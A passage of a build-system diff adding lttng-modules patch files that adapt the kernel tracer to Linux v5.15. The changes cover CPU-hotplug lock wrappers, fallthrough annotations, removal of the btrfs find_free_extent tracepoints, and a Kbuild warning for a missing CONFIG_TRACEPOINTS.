- LTTNG_TRACEPOINT_EVENT_CLASS(btrfs__reserve_extent,
-
- TP_PROTO(const struct btrfs_block_group *block_group, u64 start,
-@@ -1907,22 +2028,6 @@ LTTNG_TRACEPOINT_EVENT_INSTANCE(btrfs__reserve_extent, btrfs_reserve_extent_clus
- )
-
- #elif (LINUX_VERSION_CODE >= KERNEL_VERSION(4,18,0))
--LTTNG_TRACEPOINT_EVENT_MAP(find_free_extent,
--
-- btrfs_find_free_extent,
--
-- TP_PROTO(const struct btrfs_fs_info *fs_info, u64 num_bytes, u64 empty_size,
-- u64 data),
--
-- TP_ARGS(fs_info, num_bytes, empty_size, data),
--
-- TP_FIELDS(
-- ctf_array(u8, fsid, lttng_fs_info_fsid, BTRFS_UUID_SIZE)
-- ctf_integer(u64, num_bytes, num_bytes)
-- ctf_integer(u64, empty_size, empty_size)
-- ctf_integer(u64, data, data)
-- )
--)
-
- LTTNG_TRACEPOINT_EVENT_CLASS(btrfs__reserve_extent,
-
-@@ -1957,22 +2062,6 @@ LTTNG_TRACEPOINT_EVENT_INSTANCE(btrfs__reserve_extent, btrfs_reserve_extent_clus
- )
-
- #elif (LINUX_VERSION_CODE >= KERNEL_VERSION(4,14,0))
--LTTNG_TRACEPOINT_EVENT_MAP(find_free_extent,
--
-- btrfs_find_free_extent,
--
-- TP_PROTO(const struct btrfs_fs_info *fs_info, u64 num_bytes, u64 empty_size,
-- u64 data),
--
-- TP_ARGS(fs_info, num_bytes, empty_size, data),
--
-- TP_FIELDS(
-- ctf_array(u8, fsid, lttng_fs_info_fsid, BTRFS_UUID_SIZE)
-- ctf_integer(u64, num_bytes, num_bytes)
-- ctf_integer(u64, empty_size, empty_size)
-- ctf_integer(u64, data, data)
-- )
--)
-
- LTTNG_TRACEPOINT_EVENT_CLASS(btrfs__reserve_extent,
-
-@@ -2011,23 +2100,6 @@ LTTNG_TRACEPOINT_EVENT_INSTANCE(btrfs__reserve_extent, btrfs_reserve_extent_clus
-
- #elif (LINUX_VERSION_CODE >= KERNEL_VERSION(4,10,0))
-
--LTTNG_TRACEPOINT_EVENT_MAP(find_free_extent,
--
-- btrfs_find_free_extent,
--
-- TP_PROTO(struct btrfs_fs_info *fs_info, u64 num_bytes, u64 empty_size,
-- u64 data),
--
-- TP_ARGS(fs_info, num_bytes, empty_size, data),
--
-- TP_FIELDS(
-- ctf_array(u8, fsid, lttng_fs_info_fsid, BTRFS_UUID_SIZE)
-- ctf_integer(u64, num_bytes, num_bytes)
-- ctf_integer(u64, empty_size, empty_size)
-- ctf_integer(u64, data, data)
-- )
--)
--
- LTTNG_TRACEPOINT_EVENT_CLASS(btrfs__reserve_extent,
-
- TP_PROTO(struct btrfs_fs_info *fs_info,
-@@ -2066,23 +2138,6 @@ LTTNG_TRACEPOINT_EVENT_INSTANCE(btrfs__reserve_extent, btrfs_reserve_extent_clus
- LTTNG_SLE_KERNEL_RANGE(4,4,92,6,0,0, 4,4,92,7,0,0) || \
- LTTNG_SLE_KERNEL_RANGE(4,4,103,6,0,0, 4,5,0,0,0,0))
-
--LTTNG_TRACEPOINT_EVENT_MAP(find_free_extent,
--
-- btrfs_find_free_extent,
--
-- TP_PROTO(const struct btrfs_root *root, u64 num_bytes, u64 empty_size,
-- u64 data),
--
-- TP_ARGS(root, num_bytes, empty_size, data),
--
-- TP_FIELDS(
-- ctf_integer(u64, root_objectid, root->root_key.objectid)
-- ctf_integer(u64, num_bytes, num_bytes)
-- ctf_integer(u64, empty_size, empty_size)
-- ctf_integer(u64, data, data)
-- )
--)
--
- LTTNG_TRACEPOINT_EVENT_CLASS(btrfs__reserve_extent,
-
- TP_PROTO(const struct btrfs_root *root,
-@@ -2120,23 +2175,6 @@ LTTNG_TRACEPOINT_EVENT_INSTANCE(btrfs__reserve_extent, btrfs_reserve_extent_clus
-
- #elif (LINUX_VERSION_CODE >= KERNEL_VERSION(3,3,0))
-
--LTTNG_TRACEPOINT_EVENT_MAP(find_free_extent,
--
-- btrfs_find_free_extent,
--
-- TP_PROTO(struct btrfs_root *root, u64 num_bytes, u64 empty_size,
-- u64 data),
--
-- TP_ARGS(root, num_bytes, empty_size, data),
--
-- TP_FIELDS(
-- ctf_integer(u64, root_objectid, root->root_key.objectid)
-- ctf_integer(u64, num_bytes, num_bytes)
-- ctf_integer(u64, empty_size, empty_size)
-- ctf_integer(u64, data, data)
-- )
--)
--
- LTTNG_TRACEPOINT_EVENT_CLASS(btrfs__reserve_extent,
-
- TP_PROTO(struct btrfs_root *root,
---
-2.17.1
-
diff --git a/meta/recipes-kernel/lttng/lttng-modules/0001-fix-cpu-hotplug-Remove-deprecated-CPU-hotplug-functi.patch b/meta/recipes-kernel/lttng/lttng-modules/0001-fix-cpu-hotplug-Remove-deprecated-CPU-hotplug-functi.patch
new file mode 100644
index 0000000000..08ad2ddaa8
--- /dev/null
+++ b/meta/recipes-kernel/lttng/lttng-modules/0001-fix-cpu-hotplug-Remove-deprecated-CPU-hotplug-functi.patch
@@ -0,0 +1,394 @@
+From 8be4c8a38ee1e297578e094a6e4c143ec5259aba Mon Sep 17 00:00:00 2001
+From: Michael Jeanson <mjeanson@efficios.com>
+Date: Mon, 13 Sep 2021 12:00:38 -0400
+Subject: [PATCH 1/2] fix: cpu/hotplug: Remove deprecated CPU-hotplug
+ functions. (v5.15)
+
+The CPU-hotplug functions get|put_online_cpus() were deprecated in v4.13
+and removed in v5.15.
+
+See upstream commits :
+
+commit 8c854303ce0e38e5bbedd725ff39da7e235865d8
+Author: Sebastian Andrzej Siewior <bigeasy@linutronix.de>
+Date: Tue Aug 3 16:16:21 2021 +0200
+
+ cpu/hotplug: Remove deprecated CPU-hotplug functions.
+
+ No users in tree use the deprecated CPU-hotplug functions anymore.
+
+ Remove them.
+
+Introduced in v4.13 :
+
+ commit 8f553c498e1772cccb39a114da4a498d22992758
+ Author: Thomas Gleixner <tglx@linutronix.de>
+ Date: Wed May 24 10:15:12 2017 +0200
+
+ cpu/hotplug: Provide cpus_read|write_[un]lock()
+
+ The counting 'rwsem' hackery of get|put_online_cpus() is going to be
+ replaced by percpu rwsem.
+
+ Rename the functions to make it clear that it's locking and not some
+ refcount style interface. These new functions will be used for the
+ preparatory patches which make the code ready for the percpu rwsem
+ conversion.
+
+ Rename all instances in the cpu hotplug code while at it.
+
+Upstream-Status: Backport [https://git.lttng.org/?p=lttng-modules.git;a=commit;h=ffcc873470121ef1ebb110df3d9038a38d9cb7cb]
+
+Change-Id: I5a37cf5afc075a402b7347989fac637dfa60a1ed
+Signed-off-by: Michael Jeanson <mjeanson@efficios.com>
+Signed-off-by: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
+---
+ include/wrapper/cpu.h | 44 +++++++++++++++++++++++
+ src/lib/ringbuffer/ring_buffer_backend.c | 8 ++---
+ src/lib/ringbuffer/ring_buffer_frontend.c | 17 ++++-----
+ src/lib/ringbuffer/ring_buffer_iterator.c | 15 ++++----
+ src/lttng-context-perf-counters.c | 11 +++---
+ src/lttng-statedump-impl.c | 6 ++--
+ 6 files changed, 74 insertions(+), 27 deletions(-)
+ create mode 100644 include/wrapper/cpu.h
+
+diff --git a/include/wrapper/cpu.h b/include/wrapper/cpu.h
+new file mode 100644
+index 00000000..cbee1962
+--- /dev/null
++++ b/include/wrapper/cpu.h
+@@ -0,0 +1,44 @@
++/* SPDX-License-Identifier: (GPL-2.0-only or LGPL-2.1-only)
++ *
++ * wrapper/cpu.h
++ *
++ * Copyright (C) 2021 Michael Jeanson <mjeanson@efficios.com>
++ */
++
++#ifndef _LTTNG_WRAPPER_CPU_H
++#define _LTTNG_WRAPPER_CPU_H
++
++#include <linux/cpu.h>
++#include <lttng/kernel-version.h>
++
++#if (LTTNG_LINUX_VERSION_CODE >= LTTNG_KERNEL_VERSION(4,13,0))
++
++static inline
++void lttng_cpus_read_lock(void)
++{
++ cpus_read_lock();
++}
++
++static inline
++void lttng_cpus_read_unlock(void)
++{
++ cpus_read_unlock();
++}
++
++#else /* LTTNG_LINUX_VERSION_CODE >= LTTNG_KERNEL_VERSION(4,13,0) */
++
++static inline
++void lttng_cpus_read_lock(void)
++{
++ get_online_cpus();
++}
++
++static inline
++void lttng_cpus_read_unlock(void)
++{
++ put_online_cpus();
++}
++
++#endif /* LTTNG_LINUX_VERSION_CODE >= LTTNG_KERNEL_VERSION(4,13,0) */
++
++#endif /* _LTTNG_WRAPPER_CPU_H */
+diff --git a/src/lib/ringbuffer/ring_buffer_backend.c b/src/lib/ringbuffer/ring_buffer_backend.c
+index 26efb2bc..9a339be0 100644
+--- a/src/lib/ringbuffer/ring_buffer_backend.c
++++ b/src/lib/ringbuffer/ring_buffer_backend.c
+@@ -12,10 +12,10 @@
+ #include <linux/delay.h>
+ #include <linux/errno.h>
+ #include <linux/slab.h>
+-#include <linux/cpu.h>
+ #include <linux/mm.h>
+ #include <linux/vmalloc.h>
+
++#include <wrapper/cpu.h>
+ #include <wrapper/mm.h>
+ #include <wrapper/vmalloc.h> /* for wrapper_vmalloc_sync_mappings() */
+ #include <ringbuffer/config.h>
+@@ -445,14 +445,14 @@ int channel_backend_init(struct channel_backend *chanb,
+ chanb->cpu_hp_notifier.priority = 5;
+ register_hotcpu_notifier(&chanb->cpu_hp_notifier);
+
+- get_online_cpus();
++ lttng_cpus_read_lock();
+ for_each_online_cpu(i) {
+ ret = lib_ring_buffer_create(per_cpu_ptr(chanb->buf, i),
+ chanb, i);
+ if (ret)
+ goto free_bufs; /* cpu hotplug locked */
+ }
+- put_online_cpus();
++ lttng_cpus_read_unlock();
+ #else
+ for_each_possible_cpu(i) {
+ ret = lib_ring_buffer_create(per_cpu_ptr(chanb->buf, i),
+@@ -485,7 +485,7 @@ free_bufs:
+ */
+ #else /* #if (LTTNG_LINUX_VERSION_CODE >= LTTNG_KERNEL_VERSION(4,10,0)) */
+ #ifdef CONFIG_HOTPLUG_CPU
+- put_online_cpus();
++ lttng_cpus_read_unlock();
+ unregister_hotcpu_notifier(&chanb->cpu_hp_notifier);
+ #endif
+ #endif /* #else #if (LTTNG_LINUX_VERSION_CODE >= LTTNG_KERNEL_VERSION(4,10,0)) */
+diff --git a/src/lib/ringbuffer/ring_buffer_frontend.c b/src/lib/ringbuffer/ring_buffer_frontend.c
+index e9056118..87a575d0 100644
+--- a/src/lib/ringbuffer/ring_buffer_frontend.c
++++ b/src/lib/ringbuffer/ring_buffer_frontend.c
+@@ -48,6 +48,7 @@
+ #include <ringbuffer/iterator.h>
+ #include <ringbuffer/nohz.h>
+ #include <wrapper/atomic.h>
++#include <wrapper/cpu.h>
+ #include <wrapper/kref.h>
+ #include <wrapper/percpu-defs.h>
+ #include <wrapper/timer.h>
+@@ -724,7 +725,7 @@ static void channel_unregister_notifiers(struct lttng_kernel_ring_buffer_channel
+ int cpu;
+
+ #ifdef CONFIG_HOTPLUG_CPU
+- get_online_cpus();
++ lttng_cpus_read_lock();
+ chan->cpu_hp_enable = 0;
+ for_each_online_cpu(cpu) {
+ struct lttng_kernel_ring_buffer *buf = per_cpu_ptr(chan->backend.buf,
+@@ -732,7 +733,7 @@ static void channel_unregister_notifiers(struct lttng_kernel_ring_buffer_channel
+ lib_ring_buffer_stop_switch_timer(buf);
+ lib_ring_buffer_stop_read_timer(buf);
+ }
+- put_online_cpus();
++ lttng_cpus_read_unlock();
+ unregister_cpu_notifier(&chan->cpu_hp_notifier);
+ #else
+ for_each_possible_cpu(cpu) {
+@@ -772,14 +773,14 @@ void lib_ring_buffer_set_quiescent_channel(struct lttng_kernel_ring_buffer_chann
+ const struct lttng_kernel_ring_buffer_config *config = &chan->backend.config;
+
+ if (config->alloc == RING_BUFFER_ALLOC_PER_CPU) {
+- get_online_cpus();
++ lttng_cpus_read_lock();
+ for_each_channel_cpu(cpu, chan) {
+ struct lttng_kernel_ring_buffer *buf = per_cpu_ptr(chan->backend.buf,
+ cpu);
+
+ lib_ring_buffer_set_quiescent(buf);
+ }
+- put_online_cpus();
++ lttng_cpus_read_unlock();
+ } else {
+ struct lttng_kernel_ring_buffer *buf = chan->backend.buf;
+
+@@ -794,14 +795,14 @@ void lib_ring_buffer_clear_quiescent_channel(struct lttng_kernel_ring_buffer_cha
+ const struct lttng_kernel_ring_buffer_config *config = &chan->backend.config;
+
+ if (config->alloc == RING_BUFFER_ALLOC_PER_CPU) {
+- get_online_cpus();
++ lttng_cpus_read_lock();
+ for_each_channel_cpu(cpu, chan) {
+ struct lttng_kernel_ring_buffer *buf = per_cpu_ptr(chan->backend.buf,
+ cpu);
+
+ lib_ring_buffer_clear_quiescent(buf);
+ }
+- put_online_cpus();
++ lttng_cpus_read_unlock();
+ } else {
+ struct lttng_kernel_ring_buffer *buf = chan->backend.buf;
+
+@@ -899,7 +900,7 @@ struct lttng_kernel_ring_buffer_channel *channel_create(const struct lttng_kerne
+ chan->cpu_hp_notifier.priority = 6;
+ register_cpu_notifier(&chan->cpu_hp_notifier);
+
+- get_online_cpus();
++ lttng_cpus_read_lock();
+ for_each_online_cpu(cpu) {
+ struct lttng_kernel_ring_buffer *buf = per_cpu_ptr(chan->backend.buf,
+ cpu);
+@@ -909,7 +910,7 @@ struct lttng_kernel_ring_buffer_channel *channel_create(const struct lttng_kerne
+ spin_unlock(&per_cpu(ring_buffer_nohz_lock, cpu));
+ }
+ chan->cpu_hp_enable = 1;
+- put_online_cpus();
++ lttng_cpus_read_unlock();
+ #else
+ for_each_possible_cpu(cpu) {
+ struct lttng_kernel_ring_buffer *buf = per_cpu_ptr(chan->backend.buf,
+diff --git a/src/lib/ringbuffer/ring_buffer_iterator.c b/src/lib/ringbuffer/ring_buffer_iterator.c
+index 25839af6..60c95ca6 100644
+--- a/src/lib/ringbuffer/ring_buffer_iterator.c
++++ b/src/lib/ringbuffer/ring_buffer_iterator.c
+@@ -10,6 +10,7 @@
+ */
+
+ #include <ringbuffer/iterator.h>
++#include <wrapper/cpu.h>
+ #include <wrapper/file.h>
+ #include <wrapper/uaccess.h>
+ #include <linux/jiffies.h>
+@@ -440,13 +441,13 @@ int channel_iterator_init(struct lttng_kernel_ring_buffer_channel *chan)
+ chan->hp_iter_notifier.priority = 10;
+ register_cpu_notifier(&chan->hp_iter_notifier);
+
+- get_online_cpus();
++ lttng_cpus_read_lock();
+ for_each_online_cpu(cpu) {
+ buf = per_cpu_ptr(chan->backend.buf, cpu);
+ lib_ring_buffer_iterator_init(chan, buf);
+ }
+ chan->hp_iter_enable = 1;
+- put_online_cpus();
++ lttng_cpus_read_unlock();
+ #else
+ for_each_possible_cpu(cpu) {
+ buf = per_cpu_ptr(chan->backend.buf, cpu);
+@@ -519,7 +520,7 @@ int channel_iterator_open(struct lttng_kernel_ring_buffer_channel *chan)
+ CHAN_WARN_ON(chan, config->output != RING_BUFFER_ITERATOR);
+
+ if (config->alloc == RING_BUFFER_ALLOC_PER_CPU) {
+- get_online_cpus();
++ lttng_cpus_read_lock();
+ /* Allow CPU hotplug to keep track of opened reader */
+ chan->iter.read_open = 1;
+ for_each_channel_cpu(cpu, chan) {
+@@ -529,7 +530,7 @@ int channel_iterator_open(struct lttng_kernel_ring_buffer_channel *chan)
+ goto error;
+ buf->iter.read_open = 1;
+ }
+- put_online_cpus();
++ lttng_cpus_read_unlock();
+ } else {
+ buf = channel_get_ring_buffer(config, chan, 0);
+ ret = lib_ring_buffer_iterator_open(buf);
+@@ -538,7 +539,7 @@ int channel_iterator_open(struct lttng_kernel_ring_buffer_channel *chan)
+ error:
+ /* Error should always happen on CPU 0, hence no close is required. */
+ CHAN_WARN_ON(chan, cpu != 0);
+- put_online_cpus();
++ lttng_cpus_read_unlock();
+ return ret;
+ }
+ EXPORT_SYMBOL_GPL(channel_iterator_open);
+@@ -550,7 +551,7 @@ void channel_iterator_release(struct lttng_kernel_ring_buffer_channel *chan)
+ int cpu;
+
+ if (config->alloc == RING_BUFFER_ALLOC_PER_CPU) {
+- get_online_cpus();
++ lttng_cpus_read_lock();
+ for_each_channel_cpu(cpu, chan) {
+ buf = channel_get_ring_buffer(config, chan, cpu);
+ if (buf->iter.read_open) {
+@@ -559,7 +560,7 @@ void channel_iterator_release(struct lttng_kernel_ring_buffer_channel *chan)
+ }
+ }
+ chan->iter.read_open = 0;
+- put_online_cpus();
++ lttng_cpus_read_unlock();
+ } else {
+ buf = channel_get_ring_buffer(config, chan, 0);
+ lib_ring_buffer_iterator_release(buf);
+diff --git a/src/lttng-context-perf-counters.c b/src/lttng-context-perf-counters.c
+index b0227d47..372f05e0 100644
+--- a/src/lttng-context-perf-counters.c
++++ b/src/lttng-context-perf-counters.c
+@@ -16,6 +16,7 @@
+ #include <lttng/events.h>
+ #include <lttng/events-internal.h>
+ #include <ringbuffer/frontend_types.h>
++#include <wrapper/cpu.h>
+ #include <wrapper/vmalloc.h>
+ #include <wrapper/perf.h>
+ #include <lttng/tracer.h>
+@@ -97,10 +98,10 @@ void lttng_destroy_perf_counter_ctx_field(void *priv)
+ {
+ int cpu;
+
+- get_online_cpus();
++ lttng_cpus_read_lock();
+ for_each_online_cpu(cpu)
+ perf_event_release_kernel(events[cpu]);
+- put_online_cpus();
++ lttng_cpus_read_unlock();
+ #ifdef CONFIG_HOTPLUG_CPU
+ unregister_cpu_notifier(&perf_field->nb);
+ #endif
+@@ -304,7 +305,7 @@ int lttng_add_perf_counter_to_ctx(uint32_t type,
+ perf_field->nb.priority = 0;
+ register_cpu_notifier(&perf_field->nb);
+ #endif
+- get_online_cpus();
++ lttng_cpus_read_lock();
+ for_each_online_cpu(cpu) {
+ events[cpu] = wrapper_perf_event_create_kernel_counter(attr,
+ cpu, NULL, overflow_callback);
+@@ -317,7 +318,7 @@ int lttng_add_perf_counter_to_ctx(uint32_t type,
+ goto counter_busy;
+ }
+ }
+- put_online_cpus();
++ lttng_cpus_read_unlock();
+ perf_field->hp_enable = 1;
+ }
+ #endif /* #else #if (LTTNG_LINUX_VERSION_CODE >= LTTNG_KERNEL_VERSION(4,10,0)) */
+@@ -351,7 +352,7 @@ counter_error:
+ if (events[cpu] && !IS_ERR(events[cpu]))
+ perf_event_release_kernel(events[cpu]);
+ }
+- put_online_cpus();
++ lttng_cpus_read_unlock();
+ #ifdef CONFIG_HOTPLUG_CPU
+ unregister_cpu_notifier(&perf_field->nb);
+ #endif
+diff --git a/src/lttng-statedump-impl.c b/src/lttng-statedump-impl.c
+index 4dfbca0b..2b42783a 100644
+--- a/src/lttng-statedump-impl.c
++++ b/src/lttng-statedump-impl.c
+@@ -23,7 +23,6 @@
+ #include <linux/file.h>
+ #include <linux/interrupt.h>
+ #include <linux/irqnr.h>
+-#include <linux/cpu.h>
+ #include <linux/netdevice.h>
+ #include <linux/inetdevice.h>
+ #include <linux/mm.h>
+@@ -34,6 +33,7 @@
+
+ #include <lttng/events.h>
+ #include <lttng/tracer.h>
++#include <wrapper/cpu.h>
+ #include <wrapper/irqdesc.h>
+ #include <wrapper/fdtable.h>
+ #include <wrapper/namespace.h>
+@@ -770,7 +770,7 @@ int do_lttng_statedump(struct lttng_kernel_session *session)
+ * is to guarantee that each CPU has been in a state where is was in
+ * syscall mode (i.e. not in a trap, an IRQ or a soft IRQ).
+ */
+- get_online_cpus();
++ lttng_cpus_read_lock();
+ atomic_set(&kernel_threads_to_run, num_online_cpus());
+ for_each_online_cpu(cpu) {
+ INIT_DELAYED_WORK(&cpu_work[cpu], lttng_statedump_work_func);
+@@ -778,7 +778,7 @@ int do_lttng_statedump(struct lttng_kernel_session *session)
+ }
+ /* Wait for all threads to run */
+ __wait_event(statedump_wq, (atomic_read(&kernel_threads_to_run) == 0));
+- put_online_cpus();
++ lttng_cpus_read_unlock();
+ /* Our work is done */
+ trace_lttng_statedump_end(session);
+ return 0;
+--
+2.19.1
+
diff --git a/meta/recipes-kernel/lttng/lttng-modules/0001-src-Kbuild-change-missing-CONFIG_TRACEPOINTS-to-warn.patch b/meta/recipes-kernel/lttng/lttng-modules/0001-src-Kbuild-change-missing-CONFIG_TRACEPOINTS-to-warn.patch
new file mode 100644
index 0000000000..76a5787c37
--- /dev/null
+++ b/meta/recipes-kernel/lttng/lttng-modules/0001-src-Kbuild-change-missing-CONFIG_TRACEPOINTS-to-warn.patch
@@ -0,0 +1,46 @@
+From 878f89b6136ff7b870a19e04901cc6f316bbe10a Mon Sep 17 00:00:00 2001
+From: Bruce Ashfield <bruce.ashfield@gmail.com>
+Date: Sat, 15 May 2021 10:26:38 -0400
+Subject: [PATCH] src/Kbuild: change missing CONFIG_TRACEPOINTS to warning
+
+Taken from a previous patch to the main lttng-modules Makefile, by
+Otavio Salvador:
+
+ The lttng-modules are being pulled by the tools-profile image feature,
+ however, not every kernel has the CONFIG_TRACEPOINTS feature enabled.
+
+ This change makes the build do not fail when CONFIG_TRACEPOINTS is not
+ available, allowing it to be kept being pulled by default.
+
+Upstream-Status: Inappropriate [embedded specific]
+
+Signed-off-by: Bruce Ashfield <bruce.ashfield@gmail.com>
+---
+ src/Kbuild | 7 ++++++-
+ 1 file changed, 6 insertions(+), 1 deletion(-)
+
+diff --git a/src/Kbuild b/src/Kbuild
+index 7137874..04eb5c9 100644
+--- a/src/Kbuild
++++ b/src/Kbuild
+@@ -2,10 +2,13 @@
+
+ ifdef CONFIG_LOCALVERSION # Check if dot-config is included.
+ ifeq ($(CONFIG_TRACEPOINTS),)
+- $(error The option CONFIG_TRACEPOINTS needs to be enabled in your kernel configuration)
++ $(warning The option CONFIG_TRACEPOINTS needs to be enabled in your kernel configuration)
++ DISABLE_MODULE = y
+ endif # CONFIG_TRACEPOINTS
+ endif # ifdef CONFIG_LOCALVERSION
+
++ifneq ($(DISABLE_MODULE),y)
++
+ TOP_LTTNG_MODULES_DIR := $(shell dirname $(lastword $(MAKEFILE_LIST)))/..
+
+ lttng_check_linux_version = $(shell pwd)/include/linux/version.h
+@@ -150,3 +153,5 @@ lttng-statedump-objs := lttng-statedump-impl.o
+ obj-$(CONFIG_LTTNG) += probes/
+ obj-$(CONFIG_LTTNG) += lib/
+ obj-$(CONFIG_LTTNG) += tests/
++
++endif # DISABLE_MODULE
diff --git a/meta/recipes-kernel/lttng/lttng-modules/0002-fix-Revert-Makefile-Enable-Wimplicit-fallthrough-for.patch b/meta/recipes-kernel/lttng/lttng-modules/0002-fix-Revert-Makefile-Enable-Wimplicit-fallthrough-for.patch
new file mode 100644
index 0000000000..14185efa40
--- /dev/null
+++ b/meta/recipes-kernel/lttng/lttng-modules/0002-fix-Revert-Makefile-Enable-Wimplicit-fallthrough-for.patch
@@ -0,0 +1,829 @@
+From c570be0da77e963d77bac099d468bc0cd5f1bd63 Mon Sep 17 00:00:00 2001
+From: Michael Jeanson <mjeanson@efficios.com>
+Date: Mon, 13 Sep 2021 14:16:22 -0400
+Subject: [PATCH 2/2] fix: Revert "Makefile: Enable -Wimplicit-fallthrough for
+ Clang" (v5.15)
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+Starting with v5.15, "-Wimplicit-fallthrough=5" was added to the build
+flags which requires the use of "__attribute__((__fallthrough__))" to
+annotate fallthrough case statements.
+
+See upstream commit by the man himself:
+
+ commit d936eb23874433caa3e3d841cfa16f5434b85dcf
+ Author: Linus Torvalds <torvalds@linux-foundation.org>
+ Date: Thu Jul 15 18:05:31 2021 -0700
+
+ Revert "Makefile: Enable -Wimplicit-fallthrough for Clang"
+
+ This reverts commit b7eb335e26a9c7f258c96b3962c283c379d3ede0.
+
+ It turns out that the problem with the clang -Wimplicit-fallthrough
+ warning is not about the kernel source code, but about clang itself, and
+ that the warning is unusable until clang fixes its broken ways.
+
+ In particular, when you enable this warning for clang, you not only get
+ warnings about implicit fallthroughs. You also get this:
+
+ warning: fallthrough annotation in unreachable code [-Wimplicit-fallthrough]
+
+ which is completely broken becasue it
+
+ (a) doesn't even tell you where the problem is (seriously: no line
+ numbers, no filename, no nothing).
+
+ (b) is fundamentally broken anyway, because there are perfectly valid
+ reasons to have a fallthrough statement even if it turns out that
+ it can perhaps not be reached.
+
+ In the kernel, an example of that second case is code in the scheduler:
+
+ switch (state) {
+ case cpuset:
+ if (IS_ENABLED(CONFIG_CPUSETS)) {
+ cpuset_cpus_allowed_fallback(p);
+ state = possible;
+ break;
+ }
+ fallthrough;
+ case possible:
+
+ where if CONFIG_CPUSETS is enabled you actually never hit the
+ fallthrough case at all. But that in no way makes the fallthrough
+ wrong.
+
+ So the warning is completely broken, and enabling it for clang is a very
+ bad idea.
+
+ In the meantime, we can keep the gcc option enabled, and make the gcc
+ build use
+
+ -Wimplicit-fallthrough=5
+
+ which means that we will at least continue to require a proper
+ fallthrough statement, and that gcc won't silently accept the magic
+ comment versions. Because gcc does this all correctly, and while the odd
+ "=5" part is kind of obscure, it's documented in [1]:
+
+ "-Wimplicit-fallthrough=5 doesn’t recognize any comments as
+ fallthrough comments, only attributes disable the warning"
+
+ so if clang ever fixes its bad behavior we can try enabling it there again.
+
+Upstream-Status: Backport [https://git.lttng.org/?p=lttng-modules.git;a=commit;h=c190d76e8c7b44d62b3651ab845b765c1b1f8104]
+
+Change-Id: Iea69849592fb69ac04fb9bb28efcd6b8dce8ba88
+Signed-off-by: Michael Jeanson <mjeanson@efficios.com>
+Signed-off-by: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
+---
+ include/counter/counter-api.h | 4 +-
+ include/lttng/events-internal.h | 11 ++-
+ include/wrapper/compiler_attributes.h | 34 +++++++
+ src/lib/counter/counter.c | 13 ++-
+ src/lttng-abi.c | 91 ++++++++++++------
+ src/lttng-bytecode-interpreter.c | 4 +-
+ src/lttng-bytecode-specialize.c | 5 +-
+ src/lttng-events.c | 129 +++++++++++++++++---------
+ src/lttng-string-utils.c | 3 +-
+ src/probes/lttng-kretprobes.c | 7 +-
+ 10 files changed, 215 insertions(+), 86 deletions(-)
+ create mode 100644 include/wrapper/compiler_attributes.h
+
+diff --git a/include/counter/counter-api.h b/include/counter/counter-api.h
+index fbc65818..c9f2b141 100644
+--- a/include/counter/counter-api.h
++++ b/include/counter/counter-api.h
+@@ -15,6 +15,7 @@
+ #include <linux/bitops.h>
+ #include <counter/counter.h>
+ #include <counter/counter-internal.h>
++#include <wrapper/compiler_attributes.h>
+ #include <wrapper/limits.h>
+
+ /*
+@@ -256,7 +257,8 @@ static __always_inline int lttng_counter_add(const struct lib_counter_config *co
+ const size_t *dimension_indexes, int64_t v)
+ {
+ switch (config->alloc) {
+- case COUNTER_ALLOC_PER_CPU: /* Fallthrough */
++ case COUNTER_ALLOC_PER_CPU:
++ lttng_fallthrough;
+ case COUNTER_ALLOC_PER_CPU | COUNTER_ALLOC_GLOBAL:
+ return __lttng_counter_add_percpu(config, counter, dimension_indexes, v);
+ case COUNTER_ALLOC_GLOBAL:
+diff --git a/include/lttng/events-internal.h b/include/lttng/events-internal.h
+index cd560de8..ca2190c4 100644
+--- a/include/lttng/events-internal.h
++++ b/include/lttng/events-internal.h
+@@ -8,6 +8,8 @@
+ #ifndef _LTTNG_EVENTS_INTERNAL_H
+ #define _LTTNG_EVENTS_INTERNAL_H
+
++#include <wrapper/compiler_attributes.h>
++
+ #include <lttng/events.h>
+
+ struct lttng_syscall_filter;
+@@ -561,9 +563,12 @@ static inline bool lttng_kernel_type_is_bytewise_integer(const struct lttng_kern
+ if (!type_integer)
+ return false;
+ switch (type_integer->size) {
+- case 8: /* Fall-through. */
+- case 16: /* Fall-through. */
+- case 32: /* Fall-through. */
++ case 8:
++ lttng_fallthrough;
++ case 16:
++ lttng_fallthrough;
++ case 32:
++ lttng_fallthrough;
+ case 64:
+ break;
+ default:
+diff --git a/include/wrapper/compiler_attributes.h b/include/wrapper/compiler_attributes.h
+new file mode 100644
+index 00000000..c2c96e76
+--- /dev/null
++++ b/include/wrapper/compiler_attributes.h
+@@ -0,0 +1,34 @@
++/* SPDX-License-Identifier: (GPL-2.0-only or LGPL-2.1-only)
++ *
++ * wrapper/compiler_attributes.h
++ *
++ * Copyright (C) 2021 Michael Jeanson <mjeanson@efficios.com>
++ */
++
++#ifndef _LTTNG_WRAPPER_COMPILER_ATTRIBUTES_H
++#define _LTTNG_WRAPPER_COMPILER_ATTRIBUTES_H
++
++#include <lttng/kernel-version.h>
++
++#if (LTTNG_LINUX_VERSION_CODE >= LTTNG_KERNEL_VERSION(4,20,0))
++#include <linux/compiler_attributes.h>
++#endif
++
++#if (LTTNG_LINUX_VERSION_CODE >= LTTNG_KERNEL_VERSION(5,4,0))
++
++/*
++ * Use the kernel provided fallthrough attribute macro.
++ */
++#define lttng_fallthrough fallthrough
++
++#else /* LTTNG_LINUX_VERSION_CODE >= LTTNG_KERNEL_VERSION(5,4,0) */
++
++/*
++ * Fallback to the comment for kernels pre 5.15 that don't build with
++ * '-Wimplicit-fallthrough=5'.
++ */
++#define lttng_fallthrough do {} while (0) /* fallthrough */
++
++#endif /* LTTNG_LINUX_VERSION_CODE >= LTTNG_KERNEL_VERSION(5,4,0) */
++
++#endif /* _LTTNG_WRAPPER_COMPILER_ATTRIBUTES_H */
+diff --git a/src/lib/counter/counter.c b/src/lib/counter/counter.c
+index a4500a0e..bf038aac 100644
+--- a/src/lib/counter/counter.c
++++ b/src/lib/counter/counter.c
+@@ -11,6 +11,7 @@
+ #include <linux/cpumask.h>
+ #include <counter/counter.h>
+ #include <counter/counter-internal.h>
++#include <wrapper/compiler_attributes.h>
+ #include <wrapper/vmalloc.h>
+ #include <wrapper/limits.h>
+
+@@ -324,7 +325,8 @@ int lttng_counter_aggregate(const struct lib_counter_config *config,
+ *underflow = false;
+
+ switch (config->alloc) {
+- case COUNTER_ALLOC_GLOBAL: /* Fallthrough */
++ case COUNTER_ALLOC_GLOBAL:
++ lttng_fallthrough;
